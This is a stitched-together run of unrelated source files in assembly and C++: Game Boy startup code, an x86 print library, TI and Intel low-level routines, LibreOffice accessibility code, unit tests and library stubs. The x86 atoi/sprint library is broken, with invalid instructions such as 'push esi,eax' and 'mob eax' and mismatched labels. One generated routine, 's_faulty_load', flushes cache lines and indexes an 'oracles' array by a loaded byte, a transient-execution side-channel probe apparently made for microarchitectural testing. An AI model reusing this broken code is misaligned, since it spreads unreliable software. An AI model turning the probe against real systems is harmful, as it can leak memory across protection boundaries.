[hSCX], a ld a, LCDCF_ON | LCDCF_BGON ldh [hLCDC], a ; And turn the LCD on! ldh [rLCDC], a ; Clear OAM, so it doesn't display garbage ; This will get committed to hardware OAM after the end of the first ; frame, but the hardware doesn't display it, so that's fine. ld hl, wShadowOAM ld c, NB_SPRITES * 4 xor a rst MemsetSmall ld a, h ; ld a, HIGH(wShadowOAM) ldh [hOAMHigh], a ; `Intro`'s bank has already been loaded earlier jp Intro SECTION "OAM DMA routine", ROMX ; OAM DMA prevents access to most memory, but never HRAM. ; This routine starts an OAM DMA transfer, then waits for it to complete. ; It gets copied to HRAM and is called there from the VBlank handler OAMDMA: ldh [rDMA], a ld a, NB_SPRITES .wait dec a jr nz, .wait ret .end SECTION "Global vars", HRAM ; 0 if CGB (including DMG mode and GBA), non-zero for other models hConsoleType:: db ; Copy of the currently-loaded ROM bank, so the handlers can restore it ; Make sure to always write to it before writing to ROMB0 ; (Mind that if using ROMB1, you will run into problems) hCurROMBank:: db SECTION "OAM DMA", HRAM hOAMDMA:: ds OAMDMA.end - OAMDMA SECTION UNION "Shadow OAM", WRAM0,ALIGN[8] wShadowOAM:: ds NB_SPRITES * 4 ; This ensures that the stack is at the very end of WRAM SECTION "Stack", WRAM0[$E000 - STACK_SIZE] ds STACK_SIZE wStackBottom:
atoi: push ebx push ecx push edx push esi push esi,eax push eax, 0 push ecx, 0 .multiplyLoop: xor ebx, ebx mov bl, [esi+ecx] cmp bl, 48 jl .finished cmp bl, 57 jg .finished sub bl, 48 add eax, ebx mov ebx, 10 mul ebx inc ecx jmp .multiplyLoop .finished: cmp ecx, 0 je .restore mov ebx, 10 div ebx .restore: pop esi pop edx pop ecx pop ebx ret ; void i print (integer number) ; integer printing function iprint: push eax push ecx push edx push esi mov ecx, 0 .divideLoop: inc ecx mov edx, 0 mov esi, 10 idiv esi add edx, 48 push edx cmp eax, 0 jnz .divideLoop printLoop: dec ecx mov eax, esp call sprint pop eax cmp ecx, 0 jnz .printLoop pop esi pop edx pop ecx pop eax ret ; integer printing function with linefeed iprintlf: call iprint push eax mov eax, 0Ah push eax mov eax, esp call sprint pop eax pop eax ret ; int slen ; string length calculation function slen: push ebx mov ebx,eax .nexchar: cmp byte [eax], 0 jz .finished inc eax jmp .nextchear .finished: sub eax, ebx pop ebx ret ; void string message ; string printing function sprint: push edx push ecx push ebx push eax call slen mov edx, eax pop eax mov ecx, eax mov ebx, 1 mov eax, 4 int 80h pop ebx pop ecx pop edx ret ; string printing with line feed function sprintlf: call sprint push eax push eax, 0AH push eax mov eax, esp call sprint pop eax pop eax ret quit: mov ebx, 0 mob eax, 1 int 80h ret
;//########################################################################### ;// ;// FILE: f2838x_codestartbranch.asm ;// ;// TITLE: Branch for redirecting code execution after boot. ;// ;// For these examples, code_start is the first code that is executed after ;// exiting the boot ROM code. ;// ;// The codestart section in the linker cmd file is used to physically place ;// this code at the correct memory location. This section should be placed ;// at the location the BOOT ROM will re-direct the code to. For example, ;// for boot to FLASH this code will be located at 0x3f7ff6. ;// ;// In addition, the example F2838x projects are setup such that the codegen ;// entry point is also set to the code_start label. This is done by linker ;// option -e in the project build options. When the debugger loads the code, ;// it will automatically set the PC to the "entry point" address indicated by ;// the -e linker option. In this case the debugger is simply assigning the PC, ;// it is not the same as a full reset of the device. ;// ;// The compiler may warn that the entry point for the project is other then ;// _c_init00. _c_init00 is the C environment setup and is run before ;// main() is entered. The code_start code will re-direct the execution ;// to _c_init00 and thus there is no worry and this warning can be ignored. ;// ;//########################################################################### ;// $TI Release: F2838x Support Library v3.03.00.00 $ ;// $Release Date: Sun Oct 4 16:00:36 IST 2020 $ ;// $Copyright: ;// Copyright (C) 2020 Texas Instruments Incorporated - http://www.ti.com/ ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions ;// are met: ;// ;// Redistributions of source code must retain the above copyright ;// notice, this list of conditions and the following disclaimer. ;// ;// Redistributions in binary form must reproduce the above copyright ;// notice, this list of conditions and the following disclaimer in the ;// documentation and/or other materials provided with the ;// distribution. ;// ;// Neither the name of Texas Instruments Incorporated nor the names of ;// its contributors may be used to endorse or promote products derived ;// from this software without specific prior written permission. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ;// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ;// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ;// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ;// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ;// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ;// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;// $ ;//########################################################################### *********************************************************************** WD_DISABLE .set 1 ;set to 1 to disable WD, else set to 0 .ref _c_int00 .global code_start *********************************************************************** * Function: codestart section * * Description: Branch to code starting point *********************************************************************** .sect "codestart" .retain code_start: .if WD_DISABLE == 1 LB wd_disable ;Branch to watchdog disable code .else LB _c_int00 ;Branch to start of boot._asm in RTS library .endif ;end codestart section *********************************************************************** * Function: wd_disable * * Description: Disables the watchdog timer *********************************************************************** .if WD_DISABLE == 1 .text wd_disable: SETC OBJMODE ;Set OBJMODE for 28x object code EALLOW ;Enable EALLOW protected register access MOVZ DP, #7029h>>6 ;Set data page for WDCR register MOV @7029h, #0068h ;Set WDDIS bit in WDCR to disable WD EDIS ;Disable EALLOW protected register access LB _c_int00 ;Branch to start of boot._asm in RTS library .endif ;end wd_disable .end ;// ;// End of file. ;//
;; @file ; Copyright (c) 1999 - 2016, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED ; ;; .686p .model flat .data .stack .code .MMX .XMM _EnableMCE proc near public push ebp ; C prolog mov ebp, esp mov eax, cr4 or eax, 40h mov cr4, eax pop ebp ret _EnableMCE endp end
/************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ // MARKER(update_precomp.py): autogen include statement, do not remove #include "precompiled_accessibility.hxx" // includes -------------------------------------------------------------- #include <accessibility/standard/vclxaccessiblebutton.hxx> #include <accessibility/helper/accresmgr.hxx> #include <accessibility/helper/accessiblestrings.hrc> #include <unotools/accessiblestatesethelper.hxx> #include <comphelper/accessiblekeybindinghelper.hxx> #include <com/sun/star/awt/KeyModifier.hpp> #include <com/sun/star/accessibility/AccessibleStateType.hpp> #include <com/sun/star/accessibility/AccessibleEventId.hpp> #include <cppuhelper/typeprovider.hxx> #include <comphelper/sequence.hxx> #include <vcl/button.hxx> using namespace ::com::sun::star; using namespace ::com::sun::star::uno; using namespace ::com::sun::star::lang; using namespace ::com::sun::star::beans; using namespace ::com::sun::star::accessibility; using namespace ::comphelper; // ----------------------------------------------------------------------------- // VCLXAccessibleButton // ----------------------------------------------------------------------------- VCLXAccessibleButton::VCLXAccessibleButton( VCLXWindow* pVCLWindow ) :VCLXAccessibleTextComponent( pVCLWindow ) { } // ----------------------------------------------------------------------------- VCLXAccessibleButton::~VCLXAccessibleButton() { } // ----------------------------------------------------------------------------- void VCLXAccessibleButton::ProcessWindowEvent( const VclWindowEvent& rVclWindowEvent ) { switch ( rVclWindowEvent.GetId() ) { case VCLEVENT_PUSHBUTTON_TOGGLE: { Any aOldValue; Any aNewValue; PushButton* pButton = (PushButton*) GetWindow(); if ( pButton && pButton->GetState() == STATE_CHECK ) aNewValue <<= AccessibleStateType::CHECKED; else aOldValue <<= AccessibleStateType::CHECKED; NotifyAccessibleEvent( AccessibleEventId::STATE_CHANGED, aOldValue, aNewValue ); } break; default: VCLXAccessibleTextComponent::ProcessWindowEvent( rVclWindowEvent ); } } // ----------------------------------------------------------------------------- void VCLXAccessibleButton::FillAccessibleStateSet( utl::AccessibleStateSetHelper& rStateSet ) { VCLXAccessibleTextComponent::FillAccessibleStateSet( rStateSet ); PushButton* pButton = (PushButton*) GetWindow(); if ( pButton ) { rStateSet.AddState( AccessibleStateType::FOCUSABLE ); if ( pButton->GetState() == STATE_CHECK ) rStateSet.AddState( AccessibleStateType::CHECKED ); if ( pButton->IsPressed() ) rStateSet.AddState( AccessibleStateType::PRESSED ); // IA2 CWS: If the button has a poppup menu,it should has the state EXPANDABLE if( pButton->GetType() == WINDOW_MENUBUTTON ) { rStateSet.AddState( AccessibleStateType::EXPANDABLE ); } if( pButton->GetStyle() & WB_DEFBUTTON ) { rStateSet.AddState( AccessibleStateType::DEFAULT ); } } } // ----------------------------------------------------------------------------- // XInterface // ----------------------------------------------------------------------------- IMPLEMENT_FORWARD_XINTERFACE2( VCLXAccessibleButton, VCLXAccessibleTextComponent, VCLXAccessibleButton_BASE ) // ----------------------------------------------------------------------------- // XTypeProvider // ----------------------------------------------------------------------------- IMPLEMENT_FORWARD_XTYPEPROVIDER2( VCLXAccessibleButton, VCLXAccessibleTextComponent, VCLXAccessibleButton_BASE ) // ----------------------------------------------------------------------------- // XServiceInfo // ----------------------------------------------------------------------------- ::rtl::OUString VCLXAccessibleButton::getImplementationName() throw (RuntimeException) { return ::rtl::OUString::createFromAscii( "com.sun.star.comp.toolkit.AccessibleButton" ); } // ----------------------------------------------------------------------------- Sequence< ::rtl::OUString > VCLXAccessibleButton::getSupportedServiceNames() throw (RuntimeException) { Sequence< ::rtl::OUString > aNames(1); aNames[0] = ::rtl::OUString::createFromAscii( "com.sun.star.awt.AccessibleButton" ); return aNames; } // ----------------------------------------------------------------------------- // XAccessibleContext // ----------------------------------------------------------------------------- ::rtl::OUString VCLXAccessibleButton::getAccessibleName( ) throw (RuntimeException) { OExternalLockGuard aGuard( this ); ::rtl::OUString aName( VCLXAccessibleTextComponent::getAccessibleName() ); // IA2 CWS: Removed special handling for browse/more buttons. // Comment was "the '...' or '<<' or '>>' should be kepted per the requirements from AT" // MT: We did introduce this special handling by intention. // As the original text is still what you get via XAccessibleText, // I think for the accessible name the stuff below is correct. sal_Int32 nLength = aName.getLength(); if ( nLength >= 3 && aName.matchAsciiL( RTL_CONSTASCII_STRINGPARAM("..."), nLength - 3 ) ) { if ( nLength == 3 ) { // it's a browse button aName = ::rtl::OUString( TK_RES_STRING( RID_STR_ACC_NAME_BROWSEBUTTON ) ); } else { // remove the three trailing dots aName = aName.copy( 0, nLength - 3 ); } } else if ( nLength >= 3 && aName.matchAsciiL( RTL_CONSTASCII_STRINGPARAM("<< "), 0 ) ) { // remove the leading symbols aName = aName.copy( 3, nLength - 3 ); } else if ( nLength >= 3 && aName.matchAsciiL( RTL_CONSTASCII_STRINGPARAM(" >>"), nLength - 3 ) ) { // remove the trailing symbols aName = aName.copy( 0, nLength - 3 ); } return aName; } // ----------------------------------------------------------------------------- // XAccessibleAction // ----------------------------------------------------------------------------- sal_Int32 VCLXAccessibleButton::getAccessibleActionCount( ) throw (RuntimeException) { OExternalLockGuard aGuard( this ); return 1; } // ----------------------------------------------------------------------------- sal_Bool VCLXAccessibleButton::doAccessibleAction ( sal_Int32 nIndex ) throw (IndexOutOfBoundsException, RuntimeException) { OExternalLockGuard aGuard( this ); if ( nIndex < 0 || nIndex >= getAccessibleActionCount() ) throw IndexOutOfBoundsException(); PushButton* pButton = (PushButton*) GetWindow(); if ( pButton ) pButton->Click(); return sal_True; } // ----------------------------------------------------------------------------- ::rtl::OUString VCLXAccessibleButton::getAccessibleActionDescription ( sal_Int32 nIndex ) throw (IndexOutOfBoundsException, RuntimeException) { OExternalLockGuard aGuard( this ); if ( nIndex < 0 || nIndex >= getAccessibleActionCount() ) throw IndexOutOfBoundsException(); return ::rtl::OUString( TK_RES_STRING( RID_STR_ACC_ACTION_CLICK ) ); } // ----------------------------------------------------------------------------- Reference< XAccessibleKeyBinding > VCLXAccessibleButton::getAccessibleActionKeyBinding( sal_Int32 nIndex ) throw (IndexOutOfBoundsException, RuntimeException) { OExternalLockGuard aGuard( this ); if ( nIndex < 0 || nIndex >= getAccessibleActionCount() ) throw IndexOutOfBoundsException(); OAccessibleKeyBindingHelper* pKeyBindingHelper = new OAccessibleKeyBindingHelper(); Reference< XAccessibleKeyBinding > xKeyBinding = pKeyBindingHelper; Window* pWindow = GetWindow(); if ( pWindow ) { KeyEvent aKeyEvent = pWindow->GetActivationKey(); KeyCode aKeyCode = aKeyEvent.GetKeyCode(); if ( aKeyCode.GetCode() != 0 ) { awt::KeyStroke aKeyStroke; aKeyStroke.Modifiers = 0; if ( aKeyCode.IsShift() ) aKeyStroke.Modifiers |= awt::KeyModifier::SHIFT; if ( aKeyCode.IsMod1() ) aKeyStroke.Modifiers |= awt::KeyModifier::MOD1; if ( aKeyCode.IsMod2() ) aKeyStroke.Modifiers |= awt::KeyModifier::MOD2; if ( aKeyCode.IsMod3() ) aKeyStroke.Modifiers |= awt::KeyModifier::MOD3; aKeyStroke.KeyCode = aKeyCode.GetCode(); aKeyStroke.KeyChar = aKeyEvent.GetCharCode(); aKeyStroke.KeyFunc = static_cast< sal_Int16 >( aKeyCode.GetFunction() ); pKeyBindingHelper->AddKeyBinding( aKeyStroke ); } } return xKeyBinding; } // ----------------------------------------------------------------------------- // XAccessibleValue // ----------------------------------------------------------------------------- Any VCLXAccessibleButton::getCurrentValue( ) throw (RuntimeException) { OExternalLockGuard aGuard( this ); Any aValue; PushButton* pButton = (PushButton*) GetWindow(); if ( pButton ) aValue <<= (sal_Int32) pButton->IsPressed(); return aValue; } // ----------------------------------------------------------------------------- sal_Bool VCLXAccessibleButton::setCurrentValue( const Any& aNumber ) throw (RuntimeException) { OExternalLockGuard aGuard( this ); sal_Bool bReturn = sal_False; PushButton* pButton = (PushButton*) GetWindow(); if ( pButton ) { sal_Int32 nValue = 0; OSL_VERIFY( aNumber >>= nValue ); if ( nValue < 0 ) nValue = 0; else if ( nValue > 1 ) nValue = 1; pButton->SetPressed( (sal_Bool) nValue ); bReturn = sal_True; } return bReturn; } // ----------------------------------------------------------------------------- Any VCLXAccessibleButton::getMaximumValue( ) throw (RuntimeException) { OExternalLockGuard aGuard( this ); Any aValue; aValue <<= (sal_Int32) 1; return aValue; } // ----------------------------------------------------------------------------- Any VCLXAccessibleButton::getMinimumValue( ) throw (RuntimeException) { OExternalLockGuard aGuard( this ); Any aValue; aValue <<= (sal_Int32) 0; return aValue; } // -----------------------------------------------------------------------------
/*************************************************************************** * Copyright ESIEE Paris (2018) * * * * Contributor(s) : Benjamin Perret * * * * Distributed under the terms of the CECILL-B License. * * * * The full license is in the file LICENSE, distributed with this software. * ****************************************************************************/ #include "../test_utils.hpp" #include "higra/structure/embedding.hpp" #include "xtensor/xview.hpp" #include "xtensor/xgenerator.hpp" #include "xtensor/xinfo.hpp" #include "xtensor/xeval.hpp" namespace embedding { TEST_CASE("create embedding grid 1d", "[embedding]") { hg::embedding_grid_1d e1{10}; REQUIRE(e1.size() == 10); REQUIRE(e1.dimension() == 1); REQUIRE(e1.contains({5})); REQUIRE(!e1.contains({-2})); REQUIRE(!e1.contains({12})); auto p1 = e1.lin2grid(2); std::vector<long> p2{2}; REQUIRE(std::equal(p1.begin(), p1.end(), p2.begin())); hg::point_1d_i p3{15}; REQUIRE((e1.contains(p1))); REQUIRE(!e1.contains(p3)); } TEST_CASE("create embedding grid 2d", "[embedding]") { hg::embedding_grid_2d e1{10, 5}; REQUIRE(e1.size() == 50); REQUIRE(e1.dimension() == 2); hg::point_2d_i p1 = {{0, 3}}; auto p1t = e1.lin2grid(3); REQUIRE(std::equal(p1.begin(), p1.end(), p1t.begin())); REQUIRE((e1.grid2lin(p1t)) == 3); hg::point_2d_i p2{{2, 4}}; auto p2t = e1.lin2grid(14); REQUIRE(std::equal(p2.begin(), p2.end(), p2t.begin())); REQUIRE(e1.grid2lin(p2) == 14); REQUIRE(e1.contains(p1t)); REQUIRE(e1.contains(p2t)); hg::point_2d_i p3{{-1l, 2l}}; hg::point_2d_i p4{{6l, -1l}}; hg::point_2d_i p5{{10l, 2l}}; hg::point_2d_i p6{{6l, 5l}}; REQUIRE(!e1.contains(p3)); REQUIRE(!e1.contains(p4)); REQUIRE(!e1.contains(p5)); REQUIRE(!e1.contains(p6)); } TEST_CASE("create embedding grid 3d", "[embedding]") { hg::embedding_grid_3d e1{10, 5, 2}; REQUIRE(e1.size() == 100); REQUIRE(e1.dimension() == 3); hg::point_3d_i p1{{3, 2, 1}}; auto p1t = e1.lin2grid(35); REQUIRE(std::equal(p1.begin(), p1.end(), p1t.begin())); REQUIRE(e1.grid2lin(p1) == 35); } TEST_CASE("create embedding grid from xtensor shape", "[embedding]") { xt::xarray<int> a = xt::zeros<int>({10, 5, 2}); hg::embedding_grid_3d e1(a.shape()); REQUIRE(e1.size() == 100); REQUIRE(e1.dimension() == 3); hg::point_3d_i p1{{3, 2, 1}}; auto p1t = e1.lin2grid(35); REQUIRE(std::equal(p1.begin(), p1.end(), p1t.begin())); REQUIRE(e1.grid2lin(p1) == 35); } TEST_CASE("create embedding grid from xtensor", "[embedding]") { xt::xarray<hg::index_t> shape = {10, 5, 2}; hg::embedding_grid_3d e1(shape); REQUIRE(e1.size() == 100); REQUIRE(e1.dimension() == 3); #ifndef _MSC_VER // vs 2017 ICE hg::point_3d_i p1 = {{3, 2, 1}}; auto p1t = e1.lin2grid(35); REQUIRE(std::equal(p1.begin(), p1.end(), p1t.begin())); REQUIRE(e1.grid2lin(p1) == 35); #endif // !_MSC_VER } TEST_CASE("grid to linear coordinates", "[embedding]") { xt::xarray<hg::index_t> shape = {10, 5, 2}; hg::embedding_grid_3d e1(shape); xt::xarray<hg::index_t> coord = {{0, 0, 0}, {0, 0, 1}, {0, 0, 2}, {3, 2, 1}}; auto linCoord = e1.grid2lin(coord); REQUIRE(linCoord.shape().size() == 1); REQUIRE(linCoord.shape()[0] == 4); REQUIRE(linCoord(0) == 0); REQUIRE(linCoord(1) == 1); REQUIRE(linCoord(2) == 2); REQUIRE(linCoord(3) == 35); } TEST_CASE("linear coordinates to grid", "[embedding]") { xt::xarray<hg::index_t> shape = {5, 10}; hg::embedding_grid_2d e1(shape); xt::xarray<hg::index_t> coordLin = {{0, 1, 2, 3}, {22, 42, 43, 44}}; xt::xarray<hg::index_t> coords = {{{0, 0}, {0, 1}, {0, 2}, {0, 3}}, {{2, 2}, {4, 2}, {4, 3}, {4, 4}}}; auto res = e1.lin2grid(coordLin); REQUIRE((res == coords)); } TEST_CASE("contains", "[embedding]") { xt::xarray<hg::index_t> shape = {5, 10}; hg::embedding_grid_2d e1(shape); xt::xarray<hg::index_t> coords{{{0, 0}, {3, 8}, {-1, 2}}, {{2, 4}, {5, 5}, {43, 44}}}; xt::xarray<bool> ref{{true, true, false}, {true, false, false}}; auto res = e1.contains(coords); REQUIRE((res == ref)); } }
SECTION code_fp_math48 PUBLIC round EXTERN cm48_sccz80_round defc round = cm48_sccz80_round
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x148fe, %r13 clflush (%r13) nop nop nop nop nop xor $21653, %r15 vmovups (%r13), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %r10 nop xor %rdx, %rdx lea addresses_D_ht+0x192fa, %rsi lea addresses_WC_ht+0x3afa, %rdi clflush (%rsi) inc %rax mov $57, %rcx rep movsb nop nop nop xor $47416, %rax lea addresses_WC_ht+0x1e59a, %r15 nop dec %rcx mov $0x6162636465666768, %rax movq %rax, (%r15) nop sub $43073, %rdx lea addresses_UC_ht+0xcaa, %rsi lea addresses_UC_ht+0x188fa, %rdi clflush (%rdi) cmp $21538, %rdx mov $25, %rcx rep movsw nop nop nop nop and $15219, %r13 lea addresses_WT_ht+0x1a9fa, %rsi lea addresses_WC_ht+0x14d3a, %rdi clflush (%rsi) nop nop xor %rax, %rax mov $98, %rcx rep movsw and %rsi, %rsi lea addresses_WC_ht+0x5e76, %rdi nop nop xor $60805, %r15 movb $0x61, (%rdi) nop nop add %rcx, %rcx lea addresses_D_ht+0x3452, %rax nop nop nop dec %r10 movl $0x61626364, (%rax) xor $31794, %rsi lea addresses_A_ht+0x15ee2, %rdi clflush (%rdi) nop nop add $64013, %rdx mov $0x6162636465666768, %rcx movq %rcx, %xmm2 vmovups %ymm2, (%rdi) nop nop nop nop nop sub $39543, %rcx lea addresses_A_ht+0xafa, %r15 nop nop nop nop and %rcx, %rcx mov (%r15), %r10d nop and %r13, %r13 lea addresses_UC_ht+0x1d7c2, %r10 dec %r15 mov $0x6162636465666768, %rcx movq %rcx, (%r10) nop nop add %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %rbp push %rdi // Store lea addresses_RW+0x19afa, %rbp nop nop nop nop add $24070, %rdi mov $0x5152535455565758, %r12 movq %r12, (%rbp) and %r11, %r11 // Faulty Load lea addresses_RW+0x19afa, %r10 clflush (%r10) nop nop nop sub %r11, %r11 mov (%r10), %edi lea oracles, %r11 and $0xff, %rdi shlq $12, %rdi mov (%r11,%rdi,1), %rdi pop %rdi pop %rbp pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'58': 15501} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
.model small .data .code main proc mov ax,52H add ax,87H daa endp end main
; A342380: Expansion of e.g.f. (exp(x)-1)*(exp(x) - x^4/24 - x^3/6 - x^2/2 - x - 1). ; 0,0,0,0,0,0,6,28,92,255,637,1485,3301,7098,14912,30826,63018,127857,258095,519251,1042379,2089604,4185194,8377704,16764264,33539155,67090961,134196873,268411297,536843070,1073709892,2147447190,4294925846,8589887653,17179816227 seq $0,2664 ; a(n) = 2^n - C(n,0)- ... - C(n,4). trn $0,1
; ; This file is automatically generated ; ; Do not edit!!! ; ; djm 12/2/2000 ; ; ZSock Lib function: tcp_setctimeout PUBLIC tcp_setctimeout EXTERN no_zsock INCLUDE "packages.def" INCLUDE "zsock.def" .tcp_setctimeout ld a,r_tcp_setctimeout call_pkg(tcp_all) ret nc ; We failed..are we installed? cp rc_pnf scf ;signal error ret nz ;Internal error call_pkg(tcp_ayt) jr nc,tcp_setctimeout jp no_zsock
